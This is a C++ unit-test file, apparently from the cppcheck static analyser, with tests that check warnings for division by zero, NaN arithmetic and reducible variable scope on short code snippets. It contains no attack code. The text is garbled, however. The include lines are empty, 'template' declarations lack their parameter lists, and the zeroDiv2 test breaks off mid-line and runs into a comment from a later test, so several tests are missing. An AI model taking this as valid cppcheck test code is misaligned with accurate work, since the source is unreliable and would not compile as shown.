\"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n TEST_CASE(knownArgumentHiddenVariableExpression);\n TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 % \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n \" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n 